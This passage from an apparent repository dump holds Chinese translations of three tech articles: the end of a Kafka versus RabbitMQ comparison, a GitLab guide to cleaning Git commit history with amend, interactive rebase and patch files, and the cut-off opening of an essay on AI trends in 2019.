[Unsplash](https://unsplash.com/s/photos/data?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)](https://cdn-images-1.medium.com/max/5754/1*DJvGajoZpUGKsSSEFyzwwQ.jpeg)\n\n任何项目的圆满完成都离不开选择正确的工具来实现必需的基础功能。对开发者而言，从多个消息服务中挑选出一个合适的，一直是一个挑战。\n\n一个悬而未决的重要问题是：选择 Apache Kafka 还是 RabbitMQ？这两个平台都有独特的功能和使用场景，了解这些可以帮助用户做出明智的选择。\n\nApache Kafka 和 RabbitMQ 是消息服务领域的两大顶尖平台。这两个平台处理消息的方式存在差异，主要体现在它们的架构、设计和消息传递方式上。\n\n## 但是 Apache Kafka 和 RabbitMQ 到底什么是呢？\n\nApache Kafka 和 RabbitMQ 都是可用于流数据处理的开源平台，由多家企业支持并使用，同样也配备有商业化的[发布/订阅（pub/sub）](https://www.rabbitmq.com/tutorials/tutorial-three-ruby.html)系统（我们将在后面介绍）。\n\n#### Apache Kafka 是什么？\n\n简而言之，Apache Kafka 是针对高速存取数据的重放和流而优化的消息总线。Kafka 健壮的消息代理使应用程序可以连续地处理和重新消费流数据。\n\n这个开源平台使用了一种简单易行的路由方法，该方法使用了路由键（routing key）来将消息发送到某个主题（topic）。Kafka 于 2011 年推出，它为流处理体系而生。\n\n#### RabbitMQ 是什么？\n\nRabbitMQ 是一个多功能的消息代理，它支持多种协议的，例如 高级消息队列协议（Advanced Message Queuing Protocol，AMQP），MQ 遥测传输（MQ Telemetry Transport，MQTT）和 面向文本的简单（或流）消息协议（Simple (or Streaming) Text-Oriented Messaging Protocol，STOMP）。\n\nRabbitMQ 可以处理追求高效的场景，例如处理在线支付场景。RabbitMQ 也可以用作微服务间的消息代理。\n\nRabbitMQ 推出于 2007 年，甫一问世，就成为了消息处理和 SOA 系统的主要组件。现在，它已经覆盖了流处理的使用场景。\n\n如果你正在纠结是选用 Apache Kafka 还是 RabbitMQ，那么请继续阅读，进一步了解两者在架构、方法以及性能优缺点方面的差异。\n\n## 架构差异\n\n#### Apache Kafka 的架构\n\nApache Kafka 的架构使用了大量的发布-订阅消息和一个高速、可扩展的流平台。它的健壮的消息存储机制（如日志）利用了服务器集群来存储不同 topic（即类别）下的多条记录。\n\n[Kafka 的每条消息都由键、值和时间戳组成](http://kth.diva-portal.org/smash/get/diva2:813137/FULLTEXT01.pdf)。智能消费者（smart consumer）或哑代理（dumb broker）模型不会试图追踪消费者的消息，而只是保留未读消息。Apache Kafka 会在一个规定的时间范围内保留全部的消息。\n\n#### RabbitMQ 的架构\n\nRabbitMQ 的架构使用了多功能的消息代理，这个代理的设计综合了点对点、请求/响应和发布/订阅的多种通信方案的变体。\n\n哑消费者（dumb consumer）和智能代理（smart broker）模型的运用可以为消费者可靠地投递消息，并且这种方法的速度与使用代理监控消费者状态的方法的速度不相上下。\n\n通过使用同步或异步的通信方法，该平台对包括 .NET、Java、Node.js、Ruby 在内的多种语言客户端库和其他插件提供了足够的支持。\n\nRabbitMQ 还在不依赖外部服务的情况下，实现了分布式部署方案和多节点集群联合。\n\n使用 [RabbitMQ](http://kth.diva-portal.org/smash/get/diva2:813137/FULLTEXT01.pdf)，发布者可以将消息传输到交换机，消费者再从队列中取出消息。交换机将消息生产者从生产线中解耦出来，确保生产者不用担心硬编码的路由选择。\n\n## 发布/订阅（Pub/Sub）\n\n发布/订阅是异步消息传递的主要模式之一。异步消息传递方案解耦了消息的生产与消费者对它的处理。\n\n#### Apache Kafka\n\n在 Apache Kafka 中，该发布/订阅平台是为大量发布-订阅消息和流而创建的，旨在持久、高速和可扩展。本质上，Kafka 带来了持久化的消息存储和服务器集群。\n\n#### RabbitMQ\n\nRabbitMQ 的设计方案中有多功能的消息代理，这个代理基于点对点、请求/响应和发布-订阅通信模式的变体来实现。\n\n## 推/拉（Push/Pull）模型\n\n#### Apache Kafka：基于拉（Pull）的方法\n\nKafka 使用拉模型，在该模型中，消费者从特定的偏移量开始批量地请求消息。Apache Kafka 还支持长轮询，当通过偏移量不再获取到消息时，长轮询会停止紧凑的轮询请求。\n\n由于分区（partitions）的存在，Apache Kafka 使用拉取模型是合理的。Kafka 可以在没有消费者相互竞争的情况下提供消息排序。\n\n这种方法让用户可以利用消息批处理来实现高效的消息传递，获取更高的吞吐量。\n\n#### RabbitMQ：基于推（Push）的方法\n\nRabbitMQ 将消息推送给消费者，这个过程包括预读取限制的配置，该配置对于防止消费者被多个消息淹没至关重要。\n\n它们对于低延迟的消息传递也很有用。推送方法的目的是快速而独立地分发各个消息，在这个过程中保证所有的分发是均匀地并行进行的，并使消息能够按照到达的顺序获得处理。\n\n## 使用案例\n\n#### Apache Kafka\n\n众所周知，Apache Kafka 本身提供了一个额外的代理，该代理是这个平台的流行元素。这个额外的代理已经在流处理体系的方向上做了预先考虑和布局。\n\n另外，增加的 Kafka Streams 可以替代 Apache Flink、Apache Spark、Google Cloud Data Flow 和 Spring Cloud Data Flow 等流处理平台。\n\nKafka 优秀的[案例文档](https://kafka.apache.org/uses)提供了详细的使用案例说明，包括提交日志、事件源、日志聚合、指标、Web 活动跟踪和更多其他任务。\n\n#### RabbitMQ\n\nRabbitMQ 提供了一种全面的消息传递解决方案，该方案广泛用于实现 Web 服务器对请求的及时响应，已经代替了让用户一直等待资源密集型计算的结果的响应方式。\n\nRabbitMQ 还非常适合于将消息分发给多个接收者，因为它提供了许多[实现可靠投递的功能](http://www.rabbitmq.com/confirms.html)、联合、管理工具、路由和安全性，还有一些[其他功能](http://www.rabbitmq.com/features.html)。\n\n借助其他软件的帮助，RabbitMQ 还可以有效地解决几个实际使用案例。RabbitMQ 与 Apache Cassandra 的组合可以提供对流历史的访问，或者与 [LevelDB](https://github.com/google/leveldb) 插件一起提供对“无限”队列的访问。\n\n## 结论\n\nApache Kafka 和 RabbitMQ 平台均提供了多种关键服务，以适应大量的需求。\n\n对于低数据流量的简单场景，RabbitMQ 就够用了。此外，RabbitMQ 还有其他的优势，例如灵活的路由预测和优先级队列选项。\n\n另一方面，如果是需要大量数据和高流量的场景，那么 Apache Kafka 值得考虑。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/keeping-git-commit-history-clean.md",
    "content": "> * 原文地址：[How (and why!) to keep your Git commit history clean](https://about.gitlab.com/2018/06/07/keeping-git-commit-history-clean/)\n> * 原文作者：[Kushal Pandya](https://about.gitlab.com/team/#Kushal_Pandya)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/keeping-git-commit-history-clean.md](https://github.com/xitu/gold-miner/blob/master/TODO1/keeping-git-commit-history-clean.md)\n> * 译者：[DM.Zhong](https://github.com/zhongdeming428)\n> * 校对者：[Leo Lyu](https://github.com/zmkoo000)，[YiLin Wang](https://github.com/Colafornia)\n\n# 怎样（以及为什么要）保持你的 Git 提交记录的整洁\n\n## Git 提交记录很容易变得混乱不堪，现在教你怎么保持整洁！\n\n提交功能是 Git 仓库的关键部分之一，不仅如此，**提交信息**也是仓库的生命日志。项目或者仓库在随着时间的推移不断演变（新功能不断加入，Bug 被不断修复，体系架构也被重构），提交信息成为了人们查看仓库所发生的变化或者怎么发生变化的地方。因此使用简短精确的提交信息反映出内部的变化是非常重要的。\n\n## 为什么有意义的提交记录非常重要？\n\nGit 提交信息是你在你所写的代码上所留下的指纹。不管你今天提交了什么代码，一年之后你再看到这个变化；你会非常感谢你所写的有意义的、干净整洁的提交信息，这也会使得你的同事工作更轻松。当根据上下文分开提交时，可以更快地找到 Bug 是在哪一次提交中被引入的，将首先引起 Bug 的这次提交进行回退可以非常简便的修复 Bug。\n\n当开发大型项目时，我们经常处理一大堆部件变动，包括更新、添加和移除。在这种场景中确保好好维护提交信息是很艰难的，尤其是当开发周期是数天、数周、甚至数月时。因此为了简化维护提交记录的工作，这篇文章会使用许多开发人员在 Git 仓库上工作时可能会经常遇到的常见场景。\n\n*   [场景 1：我需要修改最近一次的提交](#场景-1我需要修改最近一次的提交)\n*   [场景 2：我需要修改一次特定的提交](#场景-2我需要修改一次特定的提交)\n*   [场景 3：我需要添加、移除或者合并提交](#场景-3我需要添加移除或者合并提交)\n*   [场景 4：我的提交记录没啥有用的内容，我需要重新开始！](#场景-4我的提交记录没啥有用的内容我需要重新开始)\n\n但是在我们深入了解之前，让我们快速浏览一下我们假设的 Ruby 应用程序中典型的开发工作流程。\n\n**注意：** 这篇文章默认你已经掌握 Git 基础，分支如何工作，如何将分支的未提交更改添加到暂存区以及如何提交更改。如果你不太熟悉这些流程，[我们的文档](https://docs.gitlab.com/ee/topics/git/index.html)是一个好的起点。\n\n## 生活中的某天\n\n现在，我们正在开发一个小型的 Ruby on Rails 项目，在这个项目中我们需要在首页添加一个导航视图，这需要更新和添加许多文件。下面是整个流程分解的每个步骤：\n\n*   你开始开发某个功能，更新了一个文件；让我们称它为 `application_controller.rb`\n*   这个功能还需要你更新一个视图：`index.html.haml`\n*   你添加了索引页所使用的一个部分：`_navigation.html.haml`\n*   为了体现你所添加的那一部分，样式表也需要被更新：`styles.css.scss`\n*   改完这些模块，功能已经完成了，是时候更新测试文件了；要更新的文件如下：\n    *   `application_controller_spec.rb`\n    *   `navigation_spec.rb`\n*   测试也更新了，并且如期地通过了所有的测试案例，现在是时候提交更改了！\n\n因为所有的这些文件属于不同的架构领域，我们彼此隔离地提交这些文件的更改，以确保每次提交代表了特定的上下文，并且按照特定顺序进行提交。我通常偏向于后端 -> 前端的提交顺序：首先提交以后端为中心的更改，其次提交中间层文件的更改，最后提交以前端为中心的更改。\n\n1.  `application_controller.rb` & `application_controller_spec.rb`；**添加导航路由**。\n2.  `_navigation.html.haml` & `navigation_spec.rb`；**页面导航视图**。\n3.  `index.html.haml`；**渲染导航部分**。\n4.  `styles.css.scss`；**为导航添加样式**。\n\n在提交更改之后，我们会为分支创建一个合并请求。一旦创建了合并请求，在被合并到仓库的 `master` 分支之前，通常会由你的同事对代码进行审查。现在我们了解一下代码审查过程中可能会遇到的不同情况。\n\n## 场景 1：我需要修改最近一次的提交\n\n想象一下代码审查者在审查 `styles.css.scss` 时提出了一个修改建议。这种情况，修改起来非常简单，因为样式表修改是你分支上的**最后一次**提交。下面是我们应该怎样处理这种情况：\n\n*   你直接在你的分支上对 `styles.css.scss` 做必要的修改。\n*   一旦你完成了修改，将这些修改添加到暂存区进行暂存；运行命令 `git add styles.css.scss`。\n*   一旦修改被添加到暂存区，我们需要将这些修改**添加**到我们的最后一次提交；运行命令： `git commit --amend`。\n    *   **命令分解**：这里，我们使用 `git commit` 命令**修改**最近一次提交，把暂存中的任何修改合并到最近一次提交。\n*   这会在你的 Git 定义的文本编辑器中打开你最后一次的提交，它具有提交信息**为导航添加样式**。\n*   因为我们只更新了 CSS 声明，所以我们不需要修改提交信息。你可以只做保存然后退出 Git 为你打开的文本编辑器，你的更改会被反映到提交上。\n\n由于你修改了一个已经存在的提交，你需要使用 `git push --force-with-lease <remote_name> <branch_name>` 命令将这些修改**强制推送**到你的远程仓库。这个命令会使用我们本地仓库中所做的修改来覆盖远程仓库中`为导航添加样式`这个提交。\n\n当你强制推送分支时，有一点需要注意，那就是当你所在分支是一个多人协作的分支时，你的强制推送可能会给其他人的正常推送造成麻烦，因为远程分支上有一些强制推送的新的提交。因此，你应该合理地使用这个功能。你可以在[这里](https://git-scm.com/docs/git-push#git-push---no-force-with-lease)学习到更多有关 Git 强制推送选项的信息。\n\n## 场景 2：我需要修改一次特定的提交\n\n在上一个场景中，因为我们只需要修改最近的一次提交，所以做起来非常简单，但是想象一下如果代码审查者建议修改 `_navigation.html.haml` 文件中的某些部分。在这种场景下，它是第二次提交，所以修改起来不像第一个场景中那么直接。让我们看看怎么处理这种情况：\n\n每次在分支上提交更改，都会有一个独一无二的 SHA1 哈希字符串作为更改提交的标志。可以把它看做区分每次提交的独特 ID。可以通过运行 `git log` 命令查看某个分支上的所有提交以及它们分别的 SHA1 哈希值。运行命令之后，可以看到类似下面的输出，其中最近一次的提交在顶部。\n\n```\ncommit aa0a35a867ed2094da60042062e8f3d6000e3952 (HEAD -> add-page-navigation)\nAuthor: Kushal Pandya <kushal@gitlab.com>\nDate: Wed May 2 15:24:02 2018 +0530\n\n    为导航添加样式\n\ncommit c22a3fa0c5cdc175f2b8232b9704079d27c619d0\nAuthor: Kushal Pandya <kushal@gitlab.com>\nDate: Wed May 2 08:42:52 2018 +0000\n\n    渲染导航部分\n\ncommit 4155df1cdc7be01c98b0773497ff65c22ba1549f\nAuthor: Kushal Pandya <kushal@gitlab.com>\nDate: Wed May 2 08:42:51 2018 +0000\n\n    页面导航视图\n\ncommit 8d74af102941aa0b51e1a35b8ad731284e4b5a20\nAuthor: Kushal Pandya <kushal@gitlab.com>\nDate: Wed May 2 08:12:20 2018 +0000\n\n    添加导航路由\n```\n\n现在轮到 `git rebase` 命令表演了。不管什么时候我们想要用 `git rebase` 命令修改一个特定的更改提交，我们首先要将我们分支的 HEAD 变基到我们想要修改的更改提交**之前**。在这个场景中，我们需要修改`页面导航视图`的更改提交。\n\n![更改提交日志](https://about.gitlab.com/images/blogimages/keeping-git-commit-history-clean/GitRebase.png)\n\n现在，注意我们想要修改的更改提交之前的一个更改提交的哈希值；复制这个哈希值然后按照一下步骤进行操作：\n\n*   通过运行命令 `git rebase -i 8d74af102941aa0b51e1a35b8ad731284e4b5a20` 来将分支变基到我们要修改的更改提交的前一个更改提交\n    *   **命令分解**：现在我们正在使用 Git 的 `rebase` 命令的**交互模式**，通过提交 SHA1 哈希值我们可以将分支进变基。\n*   这条命令会运行 Git 变基命令的交互模式，并且会打开文本编辑器展示你所变基到的更改提交**之后**的所有更改提交。它看起来是这样的：\n\n```\npick 4155df1cdc7 页面导航视图\npick c22a3fa0c5c 渲染导航部分\npick aa0a35a867e 为导航添加样式\n\n# Rebase 8d74af10294..aa0a35a867e onto 8d74af10294 (3 commands)\n#\n# Commands:\n# p, pick = use commit\n# r, reword = use commit, but edit the commit message\n# e, edit = use commit, but stop for amending\n# s, squash = use commit, but meld into previous commit\n# f, fixup = like \"squash\", but discard this commit's log message\n# x, exec = run command (the rest of the line) using shell\n# d, drop = remove commit\n#\n# These lines can be re-ordered; they are executed from top to bottom.\n#\n# If you remove a line here THAT COMMIT WILL BE LOST.\n#\n# However, if you remove everything, the rebase will be aborted.\n#\n# Note that empty commits are commented out\n```\n\n注意到每个更改提交之前都有一个单词 `pick`，并且在它下面的内容里面，有所有的我们可以使用的关键字。因为我们想要**编辑**一个更改提交，所以我们将命令 `pick 4155df1cdc7 页面导航视图` 修改为 `edit 4155df1cdc7 页面导航视图`。保存更改并退出编辑器。 \n\n现在你的分支已经被变基到包含 `_navigation.html.haml` 的更改提交之前了。打开文件并完成每个审查反馈中的修改需求。一旦你完成了修改，使用命令 `git add _navigation.html.haml` 将它们暂存起来。\n\n因为我们已经暂存了这些更改，所以现在应该把分支 HEAD 重新移动到我们原来的更改提交（同时包含我们所有的新的更改的提交），运行 `git rebase --continue`，这将会在终端中打开你的默认编辑器并且向你展示变基期间我们所做的更改的提交信息；`页面导航视图`。如果需要你可以修改这个提交信息，但现在我们保留它，因此接下来保存修改然后退出编辑器。这个时候，Git 会重新展示你刚刚修改的更改提交之后的所有更改提交并且分支的 `HEAD` 已经回到了我们原来的所有更改提交的顶部，它包含所有你对其中某个更改提交所做的所有新的更改。\n\n因为我们又一次修改了远程仓库中的一个提交，我们需要再次使用 `git push --force-with-lease <remote_name> <branch_name>` 命令将分支强制提交。\n\n## 场景 3：我需要添加、移除或者合并提交\n\n一个常见的场景就是当我们刚刚修改了一些之前的提交并重新提交了一些新的更改。现在让我们尽可能的精简一下这些提交，用原来的提交合并它们。\n\n你所要做的就是像其它场景中所做的那样开始交互性的变基操作。\n\n```\npick 4155df1cdc7 页面导航视图\npick c22a3fa0c5c 渲染导航部分\npick aa0a35a867e 为导航添加样式\npick 62e858a322 Fix a typo\npick 5c25eb48c8 Ops another fix\npick 7f0718efe9 Fix 2\npick f0ffc19ef7 Argh Another fix!\n```\n\n现在假设你想要合并所有的那些提交到 `c22a3fa0c5c 渲染导航部分`。你只需要做：\n\n1.  把你想要合并的那些更改提交往上移动，以使得它们位于最终合并的更改提交之下。\n2.  将每一个更改提交的模式由 `pick` 改为 `squash` 或者 `fixup`。\n\n**注意：** `squash` 模式会在描述中保留修改时的信息。而`fixup` 不会，它只会保留原来的提交信息。\n\n你会以下面这种结果结束实验：\n\n```\npick 4155df1cdc7 页面导航视图\npick c22a3fa0c5c 渲染导航部分\nfixup 62e858a322 Fix a typo\nfixup 5c25eb48c8 Ops another fix\nfixup 7f0718efe9 Fix 2\nfixup f0ffc19ef7 Argh Another fix!\npick aa0a35a867e 为导航添加样式\n```\n\n保存更改并退出编辑器，你就完成了！这就是完成之后的历史提交记录：\n\n```\npick 4155df1cdc7 页面导航视图\npick 96373c0bcf 渲染导航部分\npick aa0a35a867e 为导航添加样式\n```\n\n像之前一样，你现在所要做的所有工作只是运行 `git push --force-with-lease <remote_name> <branch_name>` 命令，然后所有的修改都被强制推送了。\n\n如果你想要完全地移除一个更改提交，而不是 `squash` 或者 `fixup`，你只需要输入 `drop` 或者简单地删除这一行。\n\n### 避免冲突\n\n为避免发生冲突，请确保您在时间线上上移的提交不会触及其后的提交所触及的相同文件。\n\n```\npick 4155df1cdc7 页面导航视图\npick c22a3fa0c5c 渲染导航部分\nfixup 62e858a322 Fix a typo                 # this changes styles.css\nfixup 5c25eb48c8 Ops another fix            # this changes image/logo.svg\nfixup 7f0718efe9 Fix 2                      # this changes styles.css\nfixup f0ffc19ef7 Argh Another fix!          # this changes styles.css\npick aa0a35a867e 为导航添加样式  # this changes index.html (no conflict)\n```\n\n### 附加提示：快速 `fixup`\n\n如果你很清楚你想要修改哪一个更改提交，在提交更改时不必浪费脑力思考一些 \"Fix 1\", \"Fix 2\", …, \"Fix 42\" 这样的名字。\n\n**步骤 1：初识 `--fixup`**\n\n在你暂存那些更改之后，使用以下命令提交更改：\n\n```\ngit commit --fixup c22a3fa0c5c\n```\n\n（注意到这个哈希值是属于 `c22a3fa0c5c 渲染导航部分`这个更改提交的）\n\n这会产生这样的提交信息：`fixup! 渲染导航部分`。\n\n**步骤 2：还有这个小伙伴 `--autosquash`**\n\n通过简单的使用交互变基操作。你可以让 `git` 自动的把所有 `fixup` 放到正确的位置。\n\n`git rebase -i 4155df1cdc7 --autosquash`\n\n历史提交记录会变成下面这样：\n\n```\npick 4155df1cdc7 页面导航视图\npick c22a3fa0c5c 渲染导航部分\nfixup 62e858a322 Fix a typo\nfixup 5c25eb48c8 Ops another fix\nfixup 7f0718efe9 Fix 2\nfixup f0ffc19ef7 Argh Another fix!\npick aa0a35a867e 为导航添加样式\n```\n\n一切就绪，你只需要审查并继续。\n\n如果你觉得自己喜欢冒险，你可以做一个非交互式的变基 `git rebase --autosquash`，但前提是你喜欢过这种有风险的生活，因为你没有机会在这些合并应用前检查它们。\n\n## 场景 4：我的提交记录没啥有用的内容，我需要重新开始！\n\n如果你在开发一个大型的功能，那通常会有许多修复和代码审查反馈的修改频繁的被提交。我们可以将提交的清理工作留到开发结束，而不是不断重新设计分支。\n\n这是创建补丁文件非常方便的地方。实际上，在开发人员可以使用以 Git 为基础的服务比如 GitLab 之前，补丁文件一直是开发大型开源项目通过邮件分享代码与合并代码的主要方式。假设你有一个提交量非常巨大的分支（例如；`add-page-navigation`），它对于仓库的变更历史表述得不是很清晰。以下是如何为您在此分支中所做的所有更改创建补丁文件：\n\n*   创建补丁文件的第一步是确保您的分支具有来自 `master` 分支的所有更改并且与这些更改没有冲突。\n*   您可以在 `add-page-navigation` 分支中签出时运行 `git rebase master` 或 `git merge master`，以将所有从 `master` 进行的更改转移到您的分支上。\n*   现在创建补丁文件；运行 `git diff master add-page-navigation > ~/add_page_navigation.patch`。\n    *    **命令分解**：在这里我们使用了 Git 的 _diff_ 特性，查询 `master` 分支和 `add-page-navigation` 分支之间的差异，然后**重定向**输出（通过 `>` 符号）到一个文件，在我们的用户主目录（在 `*nix` 系操作系统中通常是 `~/`）中命名为 `add_page_navigation.patch`。\n*   你可以指定你想保存这个文件的路径，文件名和扩展名为任意你想要的值。\n*   一旦命令运行并且没有看到任何错误，就会生成补丁文件。\n*   现在签出 `master` 分支；运行 `git checkout master`。\n*   从本地仓库删除分支 `add-page-navigation`；运行 `git branch -D add-page-navigation`。请记住，我们已经在创建的补丁文件中更改了此分支。\n*   现在创建一个具有相同名称的新分支（`master` 被签出）；运行 `git checkout -b add-page-navigation`。\n*   现在，这是一个新的分支，没有任何你所做的修改。\n*   最后，从修补程序文件中应用您的更改；`git apply ~/add_page_navigation.patch`。\n*   在这里，所有更改都会应用到分支中，并且它们将显示为未提交，就好像您所做的所有修改都完成了，但没有任何修改是在分支中实际提交的。\n*   现在，您可以继续并按照所需顺序提交按影响区域分组的单个文件或文件，并使用简单明了的提交信息。\n\n跟之前的场景一样，我们修改了整个分支，现在是时候强制推送了！\n\n## 结论\n\n虽然我们已经介绍了使用 Git 进行日常工作流程中出现的大多数常见和基本情况，但重写 Git 提交历史是一个巨大的话题，如果你已经熟悉上述建议，您可以在 [Git 官方文档](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History)。快乐的 git'ing！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/keeping-up-with-ai-in-2019.md",
    "content": "> * 原文地址：[medium.com](https://medium.com/thelaunchpad/what-is-the-next-big-thing-in-ai-and-ml-904a3f3345ef)\n> * 原文作者：[Max Grigorev](https://medium.com/@forwidur)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/keeping-up-with-ai-in-2019.md](https://github.com/xitu/gold-miner/blob/master/TODO1/keeping-up-with-ai-in-2019.md)\n> * 译者：[TUARAN](https://github.com/TUARAN)\n> * 校对者：[xionglong58](https://github.com/xionglong58), [Fengziyin1234](https://github.com/Fengziyin1234)\n\n# 2019，跟上 AI 的脚步：AI 和 ML 接下来会发生什么重要的事？\n\n过去的一年，在 AI 领域里发生了许多事情，也有很多发现和丰富的发展。很难在各种观点中提取出有效的信号，如果它存在，那么这个信号又说明了什么。这篇文章的目的正在于此：我将尝试提取过去一年在 AI 领域里一些共通的模式。如果幸运的话，我们将看到一些（AI 的）趋势是如何延伸到不久的将来。\n\n> 有这样的一种说法（黑猫类比）：“最难的事就是在一间黑暗的房间里找到一只黑猫，尤其是房间里没有猫的时候。”多么智慧啊。\n\n![](https://cdn-images-1.medium.com/max/1600/0*NVLoi3vu-9kry4t2)\n\n看见那只猫了吗？\n\n毫无疑问，这是一篇观点文章。我并不是要全面的记录 AI 这一年的成就。我只是想概诉一下这些趋势中的**一些**。另外声明：这篇文章的论点以美国为中心。比如，在中国，正发生许多有趣的事，但不幸的是，我对那令人兴奋的生态系统并不熟悉。\n\n这篇博文适合谁看？如果你还在继续阅读，它可能适合你：一个想要开阔眼界的工程师；一个寻找下一步他们的精力将投向何处的企业家；一个寻找下一笔交易的投资家；或者只是一名为技术欢呼的人，迫不及待的想知道这股旋风将把我们带往何处。\n\n### 算法\n\n算法论述，无疑是由深度神经网络主导的。当然，你会听到有人在到处部署一个“经典的”机器学习模型(比如梯度提升树或者多臂老虎机)。并声称这是所以人需要的唯一的东西。有人声称[深度学习正处于垂死挣扎的境地](https://www.technologyreview.com/s/612768/we-analyzed-16625-papers-to-figure-out-where-ai-is-headed-next/)。即使是顶级研究人员也在质疑某些 DNN 架构的[效率](https://arxiv.org/abs/1711.11561)和[健壮性](https://arxiv.org/abs/1811.02553)。但是，不论你承不承认，DNNs 无处不在：在自动驾驶汽车中，在自然语言系统中，在机器人中 —— 你能说上名字的任何事上。DNNs 在比如**自然语言处理**、**生成式对抗网络**和**深层强化学习**上有着最为明显的飞跃。\n\n#### 深度自然语言处理：BERT 等 \n\n尽管在2018年以前，DNNs 在文本研究上已经取得了一些突破(例如 word2vec、GLOVE 和 LSTM-based 模型)，但是它（DNNs）缺少一个关键的概念上的元素：[迁移学习](https://machinelearningmastery.com/transfer-learning-for-deep-learning/)。就是说，在大量公开可用的数据上来训练一个模型，然后在您使用的特定数据集上“微调”它。在计算机视觉中，使用在著名的 ImageNet 数据集上发现的模式来解决特定的问题通常是解决方案的一部分。\n\n问题是，用于迁移学习的技术并不能很好地应用于 NLP 问题。从某种意义上说，像 word2vec 这样的预先训练嵌入式的程序填补了这一空缺，但是它们只能在单词级别上工作，无法捕捉语言的高级结构。\n\n然而，到了2018年，情况发生了变化。[ELMo](https://allennlp.org/elmo)，情境化嵌入成为改善 NLP 迁移学习的第一个重要步骤。 [ULMFiT](https://arxiv.org/abs/1801.06146) 甚至更进一步：由于对嵌入式的语义捕获能力不满意，作者找到了一种对整个模型采用迁移学习的方法。\n\n![](https://cdn-images-1.medium.com/max/1600/0*S5L044q215w-mg6j)\n\n就是这个人！\n\n但最有趣的发展无疑是 [BERT](https://ai.googleblog.com/2018/11/open-sourcing-bert-state-of-art-pre.html) 的引入。通过让语言模型从英语维基百科的所有文章中学习，团队能够在 11 个 NLP 任务上得到最先进的结果 —— 相当了不起！更好的是，代码和预训练模型都是在线发布的 —— 因此您可以将这一突破应用于您自己的问题。\n\n#### GANs 的多面\n\n![](https://cdn-images-1.medium.com/max/1600/0*4CIByVmyt17M-iQW)\n\nCPU 速度不再呈指数级增长，但是关于**生成式对抗网络** (GANs) 的学术论文的数量似乎还在继续增长。GANs 多年来一直是学术界的宠儿。然而，现实生活中的应用程序似乎少之又少，而且在2018年几乎没有什么变化。GANs 仍然有惊人的潜力等待被发现。\n\n新出现的方法是逐步增加使用 GANs：让生成器在整个训练过程中逐步提高输出的分辨率。一篇令人印象深刻的论文[样式转换技术来生成逼真的照片](https://arxiv.org/abs/1812.04948)使用了这种方法。有多么逼真呢？你告诉我：\n\n![](https://cdn-images-1.medium.com/max/1600/0*Sn_Uz3dzQzkw0AJu)\n\n这些照片中哪一张是真人？有陷阱的问题：没有一个是真的。\n\n然而，GANs 真正的工作方式和原因是什么呢？我们还没有深入了解这个问题，但是已经采取了一些重要的步骤：麻省理工学院的一个研究小组针对这个问题做了一个[高质量的研究](https://arxiv.org/abs/1811.10597)。\n\n另一个有趣的应用，虽然在技术上使用的不是 GAN，而是 [Adversarial Patch](https://arxiv.org/pdf/1712.09665.pdf)。这个想法是使用黑盒(也就是说，不查看神经网络的内部状态)和白盒方法来创建一个“补丁”，这将欺骗 CNN-based 分类器的“补丁”。这是一个重要的结果：它可以引导我们更好地理解 DNNs 是如何工作的，以及我们离人类层次的概念感知还有多远。\n\n![](https://cdn-images-1.medium.com/max/1600/0*lJRt4MvyHBfVg2RR)\n\n你能分辨香蕉和烤面包机吗？AI 仍然不能。\n\n#### 我们需要强化学习\n\n自2016年 [AlphaGo 战胜李世石](https://en.wikipedia.org/wiki/AlphaGo_versus_Lee_Sedol)以来，强化学习一直备受关注。尽管 AI 已经统治了最后一款“经典”游戏，但我们还需要征服什么呢？整个世界！特别是电脑游戏和机器人。\n\n对于训练来说，强化学习依赖于“奖励”信号，这是对它在最后一次尝试中表现如何的评分。电脑游戏提供了一个自然的环境，在那里这样的信号很容易得到，而不是在现实生活中。因此，RL（强化学习）研究的所有注意力都集中在如何教 AI 玩雅达利游戏上。\n\n谈到他们的新发明 DeepMind，[AlphaStar](https://deepmind.com/blog/alphastar-mastering-real-time-strategy-game-starcraft-ii/) 再次成为新闻。这个新模式打败了星际争霸 II 